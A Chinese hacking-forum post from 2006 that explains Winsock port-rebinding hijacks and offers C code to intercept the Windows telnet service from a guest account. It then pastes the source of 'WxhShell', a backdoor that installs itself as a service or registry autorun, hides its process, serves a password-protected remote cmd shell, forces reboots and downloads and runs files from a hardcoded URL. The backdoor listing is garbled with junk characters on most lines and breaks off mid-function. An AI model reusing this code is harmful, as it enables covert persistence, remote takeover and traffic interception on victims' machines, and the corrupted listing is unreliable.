[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

只看楼主更多操作楼层直达

0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; >t(@?*ZFT
if(chr[0]==0xd || chr[0]==0xa) { %'z3es0
pwd=0; ): C4}&l
break; q+~CA[H5K
} {Z.@-Tl_
i++; *xP:7K
} J3;KQ}F.I
n.RhA-O
// 如果是非法用户，关闭 socket 7d)' y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eUlb6{!y?
} W<o0Z OO
qH"a!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); edx'p`%d5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n`xh/vGm#
E2D8s=r
while(1) { +~O{ UGB=
LP /4e`
ZeroMemory(cmd,KEY_BUFF); fM.|#eLi
k^jCB>b
// 自动支持客户端 telnet标准 s#ZH.z@J
j=0; IOl"Xgn5
while(j<KEY_BUFF) { 7gcG|kKT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'O9=*L)X
cmd[j]=chr[0]; @x +#ZD(
if(chr[0]==0xa || chr[0]==0xd) { / u6$M/Cf>
cmd[j]=0; ;bE6Y]"Rz
break; B$EP'5@b
} \'*`te:{
j++; ,c l<74d
} a*ymBGF
x$DJ
// 下载文件 V"iLeC
if(strstr(cmd,"http://")) { |pSoBA9U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IoOnS)
if(DownloadFile(cmd,wsh)) GJPZ[bo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qCN7i&k,
else ulJYJ+CC!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e]h'
} tb3fz")UC
else { Ypj)6d
,$$$_+m\
switch(cmd[0]) { }4%)m
\}NWR{=
// 帮助 I=a$1%BzEX
case '?': { }* JMc+!9@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a=VT|CX[
break; x`i`]6q
} S\gP=.G
// 安装 |LH*)GrD*t
case 'i': { uf]$@6)
if(Install()) vyGLn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); va2A@U
else IQ~7vk()
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mkzk$_
break; e}AJxBE
} (OQ @!R&
// 卸载 4[0?F!%
case 'r': { MiM=fIuw@s
if(Uninstall()) ][#*h`I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m]q!y3
else JZxF)]^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d2yHfl]3
break; LfXr(2u
} N\p]+[6
// 显示 wxhshell 所在路径 5zna?(#}
case 'p': { J5( D7rp#
char svExeFile[MAX_PATH]; ABmDSV5i
strcpy(svExeFile,"\n\r"); Uy|=A7Ad c
strcat(svExeFile,ExeFile); 7#qL9+G
send(wsh,svExeFile,strlen(svExeFile),0); WPKTX,k
break; @6'E8NFl
} #2ASzCe
// 重启 n3j h\
case 'b': { *r$.1nke
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 <S&~q
if(Boot(REBOOT)) [;YBX]t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >I~z7JS
else { G$uOk?R#5c
closesocket(wsh); }px]
ExitThread(0); Kg-X]yu*0
} IF}c*uGj}
break; l0xFt ~l
} LlY*r+Cgl1
// 关机 8lSn*;S,
case 'd': { /C2f;h(1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WTs[Sud/
if(Boot(SHUTDOWN)) G11.6]?Gg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&)W#8V
else { #gJ~ {tA:
closesocket(wsh); lNVAKwW2#
ExitThread(0); )Hm[j)YI
} X`QW(rq
break; NVWeJ+w
} bMOM`At>z
// 获取shell |hQ|'VCN
case 's': { HKN"$(Q
CmdShell(wsh); qpqz. {\
closesocket(wsh); 7qK0!fk5
ExitThread(0); k|Yv8+XT
break; E?4@C"Na
} Mr,y|
// 退出 <;E[)tv
case 'x': { Q4LlToHn
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - zw{<+;
CloseIt(wsh); ^J~A+CEf"W
break; TM}'XZ&
} 1$D`Z/N"A
// 离开 ^WW|AS
case 'q': { =C>`}%XT}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zQ %z"tQ
closesocket(wsh); 2*wO5v
WSACleanup(); >fA@tUQB
exit(1); 'Mx K}9
break; 7r[%|:
} &W<>^C2v
} Bd~cY/M
} 'S4EKV]
|iUfM3
// 提示信息 n!eqzr{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p6y0W`U
} &DQ4=/Z
} ka)LK@p6
eGe[sv"k
return; :`u&TXsu
} K[>@'P}y
UtBlP+bE?y
// shell模块句柄 i,Wm{+H-O
int CmdShell(SOCKET sock) }A)36
{ 0Q- Mxcj
STARTUPINFO si; ENx@Ex
ZeroMemory(&si,sizeof(si)); f,HzrHax
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [q+e]kD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H@2"ove-uC
PROCESS_INFORMATION ProcessInfo; j_'rhEdLP
char cmdline[]="cmd"; h?3,B0G
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lr?4Y
return 0; t-7[Mk9@
} eMl]td rI
E?gu(\an@
// 自身启动模式 L+~YCat|$U
int StartFromService(void) cv*Q]F1%
{ [[0bhmG)
typedef struct Q^MXiEO+
{ "^ 6lvZP(
DWORD ExitStatus; &e]]F#
DWORD PebBaseAddress; Ce5w0&VlS
DWORD AffinityMask; ]O7.ss/2
DWORD BasePriority; Ns!3- Y
ULONG UniqueProcessId; qM1)3.)[:
ULONG InheritedFromUniqueProcessId; V)1:LLRW
} PROCESS_BASIC_INFORMATION; yg+IkQDf4U
{~p7*j^0
PROCNTQSIP NtQueryInformationProcess; "?eH=!
:m++ iR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TcKvSdr'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `zzKD2y
x*R8^BA]pR
HANDLE hProcess; "h;;.Y8e
PROCESS_BASIC_INFORMATION pbi; ( ztim
=2nn "YVP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wsJ%* eYf
if(NULL == hInst ) return 0; #mRFUA
,bVS.A'o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [UJEU~XC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TXJY2J*24
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c.8((h/
lsB9;I^+x
if (!NtQueryInformationProcess) return 0; A`x -L
iJZ|[jEDV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JIP+ !2
if(!hProcess) return 0; lLkmcHu
'Uko^R)(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zD)IU_GWa
2B9i R
CloseHandle(hProcess); o4/I1Mq
z _O,Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2]V>J
if(hProcess==NULL) return 0; ."IJmv
aVQSN
HMODULE hMod; xI@$aTGq
char procName[255]; 0;FqX*
unsigned long cbNeeded; GDHK.?GY
q[)q|R|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]|,q|c,
5PGlR!^
CloseHandle(hProcess); dSe8vA!)
b.R!2]T]i^
if(strstr(procName,"services")) return 1; // 以服务启动 SLdN.4idK
Hbjb7Y?[
return 0; // 注册表启动 vnC<*k4&v
} RGl=7^M
qY$*#*Q
// 主模块 v@fe-T&0
int StartWxhshell(LPSTR lpCmdLine) O}K_l1
{ "?.'{,Q
SOCKET wsl; Q%& _On
BOOL val=TRUE; .:{h{@a
int port=0; r=~WMDCz@
struct sockaddr_in door; 4{;8:ax&w
([,vX"4
if(wscfg.ws_autoins) Install(); {Ax)[<i
^)f{q)to
port=atoi(lpCmdLine); ;-KAUgL2
>d8x<|D
if(port<=0) port=wscfg.ws_port; b^[W_y
*L%6qxl`V
WSADATA data; )-+\M_JK5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j3x^<a\gJ
<%d51~@={I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gDQkn {T.%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .D8~)ZWN
door.sin_family = AF_INET; eg"=H50
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aho'|%y)
door.sin_port = htons(port); cOSxg=~>u
eyeNrk*2o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [G{rHSK5tQ
closesocket(wsl); CM%|pB/z
return 1; r}/yi
} ;wij}y-6
2;r]gT~
if(listen(wsl,2) == INVALID_SOCKET) { \{c,,th
closesocket(wsl); _tWJXv~;
return 1; I1Hw"G"&
} FI]P<)*r
Wxhshell(wsl); 1~}m.ER
WSACleanup(); yZYKwKG
PsU9R#HL1
return 0; L`9TB"0R+
UL86-R!
} L5"8G,I
Guk.,}9
// 以NT服务方式启动 Qq#Ff\|4u(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3iE-6udCS
{ ^FP} qW~;9
DWORD status = 0; 9$7&URwSDI
DWORD specificError = 0xfffffff; Ts|--,
+kjzn]}f
serviceStatus.dwServiceType = SERVICE_WIN32; 9[cp7 Rcb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fCgBH~w,9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eeuZUf+~]
serviceStatus.dwWin32ExitCode = 0; [Q4_WKI0T
serviceStatus.dwServiceSpecificExitCode = 0; Q)09]hP[Xj
serviceStatus.dwCheckPoint = 0; j*uXB^4
serviceStatus.dwWaitHint = 0; )^4ko
ipG5l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x|]\1sb"
if (hServiceStatusHandle==0) return; iM:yX=>a
e8$l0gzaD
status = GetLastError(); drW~)6Lr@
if (status!=NO_ERROR) KK?Zm_
{ MaZM%W8Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; exfmq
serviceStatus.dwCheckPoint = 0; i 3m3zXt
serviceStatus.dwWaitHint = 0; `AWy!}8
serviceStatus.dwWin32ExitCode = status; y Wpi|
serviceStatus.dwServiceSpecificExitCode = specificError; Lj}>Xy(7<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7FAIew\r
return; lB1#
} p6`Pp"J_tr
!Citzor
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ls&+XlrX8
serviceStatus.dwCheckPoint = 0; JkZ50L
serviceStatus.dwWaitHint = 0; x&'o ]Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M'kVL0p?vN
} rkkU"l$v
<3d;1o
// 处理NT服务事件，比如：启动、停止 Mr-DGLJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6yY.!HRkr
{ BR+nL6sU
switch(fdwControl) i=YXKe6fD
{ Bd{4Ae\_+g
case SERVICE_CONTROL_STOP: Ng\/)^
serviceStatus.dwWin32ExitCode = 0; C)NC&fV
serviceStatus.dwCurrentState = SERVICE_STOPPED; lWW+5
serviceStatus.dwCheckPoint = 0; *c{wtl@
serviceStatus.dwWaitHint = 0; J^ `hbP+2
{ 8O>}k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *myG"@P4hW
} a Sf/4\
return; #kyl?E
case SERVICE_CONTROL_PAUSE: d')-7C
serviceStatus.dwCurrentState = SERVICE_PAUSED; gw"~RV0
break; ][,4,?T7
case SERVICE_CONTROL_CONTINUE: g& k58{e
serviceStatus.dwCurrentState = SERVICE_RUNNING; $[g_=Z
break; $f#agq_
case SERVICE_CONTROL_INTERROGATE: ~4Pc_%&i
break; jk$86ma!
}; (:5G#?6,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -T7%dLHY
} b/t
Wt^|BjbB4
// 标准应用程序主函数 -_NC%iN#C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =VNSiK>F
{ Y2C9(Zk U
b.s9p7:J
// 获取操作系统版本 3t)v%S|k
OsIsNt=GetOsVer(); hrbo:8SL
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ow3P-UzU3
p,F^0OU2}:
// 从命令行安装 9IA$z\<<w
if(strpbrk(lpCmdLine,"iI")) Install(); %a];
5!Bktgk.
// 下载执行文件 ZU^IH9
if(wscfg.ws_downexe) { 2edBQYWd
